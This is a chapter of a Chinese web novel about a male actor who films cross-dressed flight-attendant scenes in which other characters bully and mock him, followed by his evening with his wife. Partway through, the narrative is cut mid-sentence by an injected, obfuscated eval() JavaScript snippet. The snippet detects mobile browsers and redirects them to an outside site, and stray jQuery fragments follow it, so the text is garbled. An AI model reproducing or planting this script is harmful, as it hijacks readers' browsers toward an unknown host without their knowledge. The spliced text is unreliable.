濟南老梁 作品
357.飛機艙裡的表演現場
第一場戲，是帕爾克飾演一名第一次值勤、緊張兮兮的男性空服員，穿著女工作服、戴著假髮，行為舉止要故意「娘娘腔」，以凸顯角色在劇中飽受嘲弄的窘態。和他對戲的，是資深演員諾姆拉·米茨琪，他將飾演一名資深空服員，以戲謔與霸凌的姿態迎接新同事的第一班航班。
燈光架高掛，攝影機調好角度，導演從監控畫面中看了幾眼後，喊道：「開拍！」
拍攝場景為飛機工作人員專用的休息室，一個狹小但佈置溫馨的空間。攝影機捕捉到帕爾克身穿筆挺的淺藍色工作裙裝，裡頭搭配白襯衫與紅色圍巾，肩背寫著「僅供職員使用」的簡易背袋，頭上是一頂略有光澤的深棕色長髮假髮，鬢角自然落下，幾乎遮住他的耳朵。
剛進入場景，他就被米茨琪攔住了。
「哎呀，我們今天這班航班來了一位新的女孩啊？」米茨琪故意用誇張的語氣說，手中還晃著咖啡杯，倚靠在牆上，一副嬉皮笑臉。
帕爾克皺眉，「我……我不是女孩，請叫我帕爾克。」
「欸欸欸，別這麼認真嘛，帕爾克女士。」米茨琪揮手，笑得像個貓抓到老鼠的孩子，「這身行頭，可不是米茨琪亂講的吧？連絲襪都有穿耶！」
帕爾克深吸一口氣，「這是公司的安排，我只是照指示穿上這套空服員制服。」
米茨琪湊近一步，目光上下打量，「嗯……又瘦又矮，聲音也細得像女孩，難怪公司說你最適合這個形象。說真的，你該不會本來就有在做這方面的興趣吧？」
「我沒興趣，我只是員工，該做什麼就做什麼。」
「別走那麼快嘛。」米茨琪突然伸手攔住帕爾克的去路，笑容裡帶著挑釁，「接下來我們做點『有趣的事情』怎麼樣？」
導演蔻吉若喊：「鏡頭跟上！兩人進入動作戲階段！」
接下來的二十多分鐘裡，整場拍攝進入的動作戲，那真是：
迢迢遠路過山崗，戰機穿梭烏雲翔。
疾風勁雨天地蕩，雷電交加震八荒。
鐵翼雄姿破空降，引擎轟鳴聲震盪。
烏雲密佈天色茫，遮蔽日月無光亮。
飛彈離架火光放，劃破長空勢難擋。
巨力猶如億鷹仗，毀滅一擊掃萬邦。
拍攝最終結束時，鏡頭定格在帕爾克的臉上——妝容有些脫落，假髮一點點滑移，他的臉上是混雜了疲憊、懊惱與不甘的神情，嘴唇微微抿起，像是忍耐了什麼不願再提的東西。
「停！這段很好！」蔻吉若拍拍手說：「iAfA-004第一場戲完成，所有人休息五分鐘！」他看了看還在整理呼吸的帕爾克，低聲補充道：「帕爾克先生也趕快坐下休息，等一下還有第二場。」
帕爾克點了點頭，走出場景，卸下假髮，一屁股坐在休息區的長椅上，深深地吐了一口氣。
身邊有工作人員遞上紙巾、礦泉水，他接過來後輕聲道：「謝謝。」
沒有人出聲安慰，也沒有人嘲笑，大家都默默地退開，彷彿知道這一刻的他需要的是空間，而不是話語。
錄影棚裡的機艙場景依舊保留著剛剛第一場戲結束後的氣氛，空氣中瀰漫著燈光器材所產生的熱度和一點點油汗味。化妝師、燈光組、攝影師與場務快速交接，稍作調整之後，蔻吉若便拍了拍掌心，示意第二場戲正式開始。
這一場戲的主要情節設定與第一場類似，主角仍是帕爾克·茵-揚。他的服裝與妝髮幾乎沒有太大變化，依舊是一身女空服員制服，膝上的裙子配上黑絲襪與黑皮鞋，整體形象仍帶著剛剛受過衝擊後未完全恢復的疲憊與羞怯。
不同的是，這一場與他對戲的角色由諾姆拉·米茨琪換成了另一名女演員——斯尬瓦拉·米奧恩。米奧恩飾演一位外表冷峻、內心刻薄的中資深空服員，一上場便展現出一種高傲與不屑的氣場。
劇情的安排是：帕爾克剛從上一場遭遇中重新梳整儀容，試圖融入工作環境，卻又遭遇另一波突如其來的言語霸凌。米奧恩用夾雜輕蔑與嘲諷的態度「問候」這位看起來不太稱職的新人，並冷笑著指出帕爾克怎麼連頭髮都戴得那麼歪，絲襪邊緣皺起、甚至連說話的口氣都「娘到讓人發麻」。
整場戲以一種逐漸升溫的節奏推進，從言語中夾帶細微的嘲笑、批評與挑釁，最終發展為又一場長達二十多分鐘的動作戲。
拍攝結束後，導演再次喊了「停」，帕爾克幾乎立刻軟坐在地上，手撐著艙牆，喘息連連，米奧恩則淡定地走出鏡頭外，在化妝師接手的瞬間擦去臉上的油汗與妝粉。蔻吉若走上前，說明將休息五分鐘後再進行第三場戲的拍攝，並提醒所有演員與技術人員準備持久戰。
如同預料，第三場戲將是今日最為困難、最為消耗體力的一場。
休息時間結束，錄影棚重新進入緊繃狀態，導演的喊聲在空氣中迴響，「第三場，iAfA-004，準備開始！」
這一場戲由米奧恩與米茨琪共同出演，角色設定是這兩名資深空服員在飛機中輪番「指導」新進員工帕爾克，以一種極其不恰當、甚至可說是惡意戲謔的方式進行。劇情仍然是以言語霸凌為起點，兩人輪番針對帕爾克的穿著、舉止、語調與身形進行攻擊，彼此還以挑釁的口氣互相接話，仿佛是在比誰能更快逼出對方的情緒崩潰。
接著，鏡頭快速切換至緊張的動作戲段落。這場戲長度達近四十分鐘，一點一點地推進到情緒與身體都幾近崩潰的高峰。
整個拍攝過程中，現場保持高度安靜與專注，只有導演與副導偶爾低聲交談，指揮攝影機與燈光的微調。觀眾無從得知具體的行動細節，只能從鏡頭捕捉到的角色臉部表情、肢體動作與畫面構圖感受到那股壓迫感。帕爾克臉上掩不住的疲憊、驚慌與羞辱，在鏡頭的聚焦下顯得格外明顯，成為觀眾感官的主軸。
如果有人認真去分析這部戲的邏輯，不禁要問：這些事怎麼可能在現實中發生？
首先是飛機本身。現代民航機的機艙設計雖然穩定，但絕不意味著三名機組人員在休息室進行長時間激烈肢體接觸時，不會影響飛行安全。更不用說這些行為幾乎明目張膽地挑戰航空倫理，嚴重違反飛航規範。航空保安人員難道都是紙糊的嗎？機長與副駕駛就真的毫無察覺？乘客與監視系統也完全盲目？
其次，空服員之間若真的存在霸凌，那也絕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645868|132887||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
不可能在飛機上如此張揚地發生，更不會是在即將降落的緊張時刻「發揮創意」。每一位航空從業人員在受訓時都經歷無數次道德與應變訓練，實際上這種劇情如同將航空業描繪成無政府狀態，荒誕程度堪比外星人開飛機。
但正因為這些虛構的「不可能」，讓整部戲更具戲劇性。導演與編劇明顯並不追求真實，而是希望透過誇張的對比與誇大的人際壓迫，折射出職場中被忽視的異質者所承受的壓力與孤立，讓觀眾在不適中產生反思。
然而，這些虛構的「不可能」，正是這類電影的本質。導演與編劇從不追求真實，而是藉由誇張的情節與人際互動，滿足觀眾對空服員的幻想。這類作品的核心目的並非反映現實，而是透過極端且不可能發生的設定，營造出強烈的戲劇衝突與視覺刺激，純粹是為了滿足特定的觀影需求。
夜幕降臨，伊希卡瓦電影廠外的道路在燈光下映出一片柔和的光暈。當所有工作人員開始收拾器材、演員進入更衣間換裝時，一輛黑色的電動轎車穩穩地停在廠區門口，車門一開，阿米娜塔·查奧瑞踩著高跟鞋走下車，西裝裙筆挺、妝容精緻，面色不怒自威。
她雙手插腰，站在廠門前冷眼掃視一圈，正當守衛猶豫要不要詢問身分時，帕爾克已從側門小跑而來，氣喘吁吁地說：「老婆……這麼晚了，妳怎麼來了？」
阿米娜塔挑了挑眉，「下班順便來接你，怎樣，不行嗎？」
帕爾克苦笑，「不是不行……只是我還以為妳會回家先煮飯。」
「煮飯？」阿米娜塔上下打量他一眼，「聽說你今演女人？還穿女裝？」
帕爾克尷尬地摸了摸脖子，「呃……對啦，是劇情需要，我真的沒辦法選啊。」
「但你真的很適合欸。」她突然笑了出來，「我看工作照的時候還以為他們找了個新女演員，結果一看名單才發現是你，哈哈哈，太扯了。」
帕爾克一臉無奈，「這樣被你笑我真的很難做人耶。」
「說正事啦，新音國際的大樓終於蓋好了，內部裝修也都搞定了，我已經開始找斯桐蓋特鄉那邊的房子，找到之後我們就搬。」
帕爾克一聽，有些驚訝，「這麼快？」
阿米娜塔點頭，「時間不等人。我打算下個月去醫院檢查下一次排卵期，準備受孕。醫生建議提前做好身體調養，而且搬家後的生活環境會穩定得多，也適合懷孕。」
「這樣啊……那看來我要更常下廚了，妳不是說我煮得比妳好嗎？」
「哼，那還用說，昨天那鍋泡菜簡直是我人生最大的恥辱。」她翻了個白眼，「你今天晚上要教我正統泡菜怎麼做，不然我會永遠記住那股味道。」
「好啦好啦，回家我就教……不過，真要講家務，我這種從小在共居環境長大的人，確實比妳強一點。」帕爾克笑道。
阿米娜塔瞪他一眼，但嘴角卻微微上揚，「還好你有一點點用處。」
兩人肩並肩走向停車場，車燈亮起的那一刻，城市的夜色也隨之展開。
這正是：
紅顏四十韶光盛，偶得邪書入畫屏。
欲效前賢祈嗣願，盼添麟趾慰平生。
誰知天道無常理，竟是難產斷命燈。
母子緣薄皆化土，著書狂徒惡報應。